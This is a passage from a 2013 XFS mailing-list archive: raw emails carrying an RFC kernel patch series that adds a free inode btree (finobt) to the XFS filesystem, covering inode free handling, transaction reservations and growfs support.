xs_fibt_2_insrec; + __uint32_t xs_fibt_2_delrec; + __uint32_t xs_fibt_2_newroot; + __uint32_t xs_fibt_2_killroot; + __uint32_t xs_fibt_2_increment; + __uint32_t xs_fibt_2_decrement; + __uint32_t xs_fibt_2_lshift; + __uint32_t xs_fibt_2_rshift; + __uint32_t xs_fibt_2_split; + __uint32_t xs_fibt_2_join; + __uint32_t xs_fibt_2_alloc; + __uint32_t xs_fibt_2_free; + __uint32_t xs_fibt_2_moves; +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_FIBT_V2+6) __uint32_t xs_qm_dqreclaims; __uint32_t xs_qm_dqreclaim_misses; __uint32_t xs_qm_dquot_dups; diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 82bbc34..65c6e66 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -134,7 +134,7 @@ typedef enum { typedef enum { XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_BMAPi, XFS_BTNUM_INOi, - XFS_BTNUM_MAX + XFS_BTNUM_FINOi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AC2617F54 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8D611304087 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04cb6c2e9fd233f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nK8S27oNXoGuckJh for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPl6Q031080 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkmC021394 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 878C4123F34; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 10/11] xfs: update the finobt on inode free Date: Tue, 3 Sep 2013 14:25:07 -0400 X-ASG-Orig-Subj: [RFC PATCH 10/11] xfs: update the finobt on inode free Message-Id: <1378232708-57156-11-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 An inode free operation can have several effects on the finobt. If all inodes have been freed and the chunk deallocated, we remove the finobt record. If the inode chunk was previously full, we must insert a new record based on the existing inobt record. Otherwise, we modify the record in place. Create the xfs_ifree_finobt() function to identify the potential scenarios and update the finobt appropriately. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 120 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 516f4af..96f71b5 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -198,6 +198,117 @@ xfs_inobt_insert( } /* + * Free an inode in the free inode btree. + */ +STATIC int +xfs_ifree_finobt( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + struct xfs_inobt_rec_incore *ibtrec,/* inobt record */ + int offset) /* offset of inode */ +{ + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + struct xfs_btree_cur *cur; + struct xfs_inobt_rec_incore rec; + int error; + int i; + + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) + return 0; + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); + + error = xfs_inobt_lookup(cur, ibtrec->ir_startino, XFS_LOOKUP_EQ, &i); + if (error) + goto error; + + if (i == 1) { + int j; + /* + * Read and update the existing record. + */ + error = xfs_inobt_get_rec(cur, &rec, &j); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(j == 1, error); + + rec.ir_free |= XFS_INOBT_MASK(offset); + rec.ir_freecount++; + + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == ibtrec->ir_free) && + (rec.ir_freecount == ibtrec->ir_freecount), + error); + } + + /* + * The content of inobt records should always match between the inobt + * and finobt. The lifecycle of records in the finobt is different from + * the inobt in that the finobt only tracks records with at least one + * free inode. This is to optimize lookup for inode allocation purposes. + * The following checks fix up the finobt appropriately based on the + * state of the record subsequent to the current operation. + */ + + if ((i == 1) && + (rec.ir_freecount == XFS_IALLOC_INODES(mp) && + !(mp->m_flags & XFS_MOUNT_IKEEP))) { + /* + * We have an existing finobt record. If all inodes are free + * and we're in !ikeep mode, the entire inode chunk has been + * deallocated. Remove the record from the finobt. + */ + error = xfs_btree_delete(cur, &i); + if (error) + goto error; + ASSERT(i == 1); + } else if ((i == 0) && (ibtrec->ir_freecount == 1)) { + /* + * No existing finobt record and the inobt record has a single + * free inode. This means we've freed an inode in a previously + * fully allocated chunk. Insert a new record into the finobt + * based on the current inobt record. + */ + cur->bc_rec.i.ir_startino = ibtrec->ir_startino; + cur->bc_rec.i.ir_free = ibtrec->ir_free; + cur->bc_rec.i.ir_freecount = ibtrec->ir_freecount; + error = xfs_btree_insert(cur, &i); + if (error) + goto error; + ASSERT(i == 1); + } else if (i == 1) { + /* + * The existing finobt record was modified and has a combination + * of allocated and free inodes or is completely free and ikeep + * is enabled. Update the record. + */ + error = xfs_inobt_update(cur, &rec); + if (error) + goto error; + } else { + /* somehow out of sync */ + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, + agbp->b_addr); + ASSERT(0); + + error = XFS_ERROR(EFSCORRUPTED); + goto error; + } + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +error: + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return error; +} + +/* * Initialise a new set of inodes. When called without a transaction context * (e.g. from recovery) we initiate a delayed write of the inode buffers rather * than logging them (which in a transaction context puts them into the AIL @@ -1422,6 +1533,15 @@ xfs_difree( if (error) goto error0; + /* + * Fix up the free inode btree. + */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + error = xfs_ifree_finobt(mp, tp, agbp, &rec, off); + if (error) + goto error0; + } + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DE48C7F58 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CDA38304087 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232748-04cbb02c3ed18280001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GX36YZAVfOkQgPFW for ; Tue, 03 Sep 2013 11:25:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlNs027305 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkRo004538 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 60202123B83; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() Date: Tue, 3 Sep 2013 14:25:04 -0400 X-ASG-Orig-Subj: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() Message-Id: <1378232708-57156-8-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232748 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 An ifree data block reservation can fail with ENOSPC. Flush inodes to try and free up space or attempt without a data block reservation to avoid failing out of xfs_inactive(). Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 56cbf63..92de4b7 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1779,7 +1779,18 @@ xfs_inactive( tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, XFS_IFREE_SPACE_RES(mp), 0); + if (error == ENOSPC) { + /* flush outstanding delalloc blocks and retry */ + xfs_flush_inodes(mp); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, + XFS_IFREE_SPACE_RES(mp), 0); + } + if (error == ENOSPC) { + /* resort to a no alloc. reservation */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + } if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); xfs_trans_cancel(tp, 0); goto out_unlock; } -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E4E297F59 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D4C18304089 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04cb6c153dd1ec10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HAE2Sw6R4fvK5h5r for ; Tue, 03 Sep 2013 11:25:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlaI029404 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkFV005904 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4399212300C; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 05/11] xfs: update ifree transaction reservations for finobt Date: Tue, 3 Sep 2013 14:25:02 -0400 X-ASG-Orig-Subj: [RFC PATCH 05/11] xfs: update ifree transaction reservations for finobt Message-Id: <1378232708-57156-6-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Update the ifree transaction log reservations to support the finobt. An inode free can now mean an extra record modification, record removal (i.e., inode chunk being freed) or a record insertion (i.e., a previously full inode chunk). Define XFS_IFREE_SPACE_RES() for the inactive transaction to reserve data blocks for possible finobt merge/split situations. Signed-off-by: Brian Foster --- fs/xfs/xfs_trans_resv.c | 5 ++++- fs/xfs/xfs_trans_space.h | 2 ++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 3040dad..bbd393a 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -388,8 +388,10 @@ xfs_calc_symlink_reservation( * the super block free inode counter: sector size * the agi hash list and counters: sector size * the inode btree entry: block size + * the free inode btree entry: block size * the on disk inode before ours in the agi hash list: inode cluster size * the inode btree: max depth * blocksize + * the free inode btree: max depth * block size * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint @@ -399,12 +401,13 @@ xfs_calc_ifree_reservation( return XFS_DQUOT_LOGRES(mp) + xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(2, XFS_FSB_TO_B(mp, 1)) + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), XFS_INODE_CLUSTER_SIZE(mp)) + xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)); } diff --git a/fs/xfs/xfs_trans_space.h b/fs/xfs/xfs_trans_space.h index 5dca732..4fc8c10 100644 --- a/fs/xfs/xfs_trans_space.h +++ b/fs/xfs/xfs_trans_space.h @@ -82,5 +82,7 @@ (XFS_DIRREMOVE_SPACE_RES(mp) + XFS_DIRENTER_SPACE_RES(mp,nl)) #define XFS_SYMLINK_SPACE_RES(mp,nl,b) \ (XFS_IALLOC_SPACE_RES(mp) + XFS_DIRENTER_SPACE_RES(mp,nl) + (b)) +#define XFS_IFREE_SPACE_RES(mp) \ + (mp)->m_in_maxlevels #endif /* __XFS_TRANS_SPACE_H__ */ -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC9167F55 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BB1128F8035 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04bdf02f20d47210001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kH7EXJ0YISdRlsx7 for ; Tue, 03 Sep 2013 11:25:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlck029406 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlMN005908 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 9A26712461D; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 11/11] xfs: add finobt support to growfs Date: Tue, 3 Sep 2013 14:25:08 -0400 X-ASG-Orig-Subj: [RFC PATCH 11/11] xfs: add finobt support to growfs Message-Id: <1378232708-57156-12-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add finobt support to growfs. Initialize the agi root/level fields and the root finobt block. Signed-off-by: Brian Foster --- fs/xfs/xfs_fsops.c | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index e64ee52..2e6ef6d 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -309,6 +309,10 @@ xfs_growfs_data_private( agi->agi_dirino = cpu_to_be32(NULLAGINO); if (xfs_sb_version_hascrc(&mp->m_sb)) uuid_copy(&agi->agi_uuid, &mp->m_sb.sb_uuid); + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + agi->agi_free_root = cpu_to_be32(XFS_FIBT_BLOCK(mp)); + agi->agi_free_level = cpu_to_be32(1); + } for (bucket = 0; bucket < XFS_AGI_UNLINKED_BUCKETS; bucket++) agi->agi_unlinked[bucket] = cpu_to_be32(NULLAGINO); @@ -400,6 +404,34 @@ xfs_growfs_data_private( xfs_buf_relse(bp); if (error) goto error0; + + /* + * FINO btree root block + */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + bp = xfs_growfs_get_hdr_buf(mp, + XFS_AGB_TO_DADDR(mp, agno, XFS_FIBT_BLOCK(mp)), + BTOBB(mp->m_sb.sb_blocksize), 0, + &xfs_inobt_buf_ops); + if (!bp) { + error = ENOMEM; + goto error0; + } + + if (xfs_sb_version_hascrc(&mp->m_sb)) + xfs_btree_init_block(mp, bp, XFS_FIBT_CRC_MAGIC, + 0, 0, agno, + XFS_BTREE_CRC_BLOCKS); + else + xfs_btree_init_block(mp, bp, XFS_FIBT_MAGIC, 0, + 0, agno, 0); + + error = xfs_bwrite(bp); + xfs_buf_relse(bp); + if (error) + goto error0; + } + } xfs_trans_agblocks_delta(tp, nfree); /* -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A55537F52 for ; Tue, 3 Sep 2013 13:25:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2767DAC005 for ; Tue, 3 Sep 2013 11:25:49 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04cbb02c3ad18270001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uGjzrIdhpmK5KPrb for ; Tue, 03 Sep 2013 11:25:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlh8007141 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkJV005903 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 51D8A12300F; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 06/11] xfs: use correct transaction reservations in xfs_inactive() Date: Tue, 3 Sep 2013 14:25:03 -0400 X-ASG-Orig-Subj: [RFC PATCH 06/11] xfs: use correct transaction reservations in xfs_inactive() Message-Id: <1378232708-57156-7-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The transaction allocated in xfs_inactive() can be passed down into xfs_inactive_symlink() or xfs_itruncate_extents(), both of which can commit and reallocate a new transaction. This leads to reservation issues if the transaction is subsequently passed into xfs_ifree(), which requires a larger reservation to manage the finobt. Reorganize xfs_inactive() to commit any transaction handed back from symlink or truncate processing and unconditionally allocate a new transaction for xfs_ifree() with the appropriate reservation. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 71 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 37 insertions(+), 34 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e3d7538..56cbf63 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1679,7 +1679,6 @@ xfs_inactive( int committed; struct xfs_trans *tp; struct xfs_mount *mp; - struct xfs_trans_res *resp; int error; int truncate = 0; @@ -1724,33 +1723,39 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? - &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; + xfs_ilock(ip, XFS_ILOCK_EXCL); - error = xfs_trans_reserve(tp, resp, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - return VN_INACTIVE_CACHE; - } + if (truncate || S_ISLNK(ip->i_d.di_mode)) { + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + return VN_INACTIVE_CACHE; + } - if (S_ISLNK(ip->i_d.di_mode)) { - error = xfs_inactive_symlink(ip, &tp); - if (error) - goto out_cancel; - } else if (truncate) { - ip->i_d.di_size = 0; - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + xfs_trans_ijoin(tp, ip, 0); + + if (S_ISLNK(ip->i_d.di_mode)) { + error = xfs_inactive_symlink(ip, &tp); + if (error) + goto out_cancel; + } else if (truncate) { + ip->i_d.di_size = 0; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, + 0); + if (error) + goto out_cancel; - error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); + ASSERT(ip->i_d.di_nextents == 0); + } + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); if (error) goto out_cancel; - - ASSERT(ip->i_d.di_nextents == 0); } /* @@ -1762,27 +1767,25 @@ xfs_inactive( if (ip->i_d.di_anextents > 0) { ASSERT(ip->i_d.di_forkoff != 0); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto out_unlock; - xfs_iunlock(ip, XFS_ILOCK_EXCL); error = xfs_attr_inactive(ip); if (error) goto out; - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - xfs_trans_cancel(tp, 0); - goto out; - } - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); } + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, + XFS_IFREE_SPACE_RES(mp), 0); + if (error) { + xfs_trans_cancel(tp, 0); + goto out_unlock; + } + + xfs_trans_ijoin(tp, ip, 0); + if (ip->i_afp) xfs_idestroy_fork(ip, XFS_ATTR_FORK); -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E24057F54 for ; Tue, 3 Sep 2013 13:25:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D0AE9304082 for ; Tue, 3 Sep 2013 11:25:47 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04cb6c153dd1ec00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DlI5Vz8UOi9lfiM1 for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkQm031727 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkxp005897 for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 0CF8F12055E; Tue, 3 Sep 2013 14:25:08 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Date: Tue, 3 Sep 2013 14:24:59 -0400 X-ASG-Orig-Subj: [RFC PATCH 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Message-Id: <1378232708-57156-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: 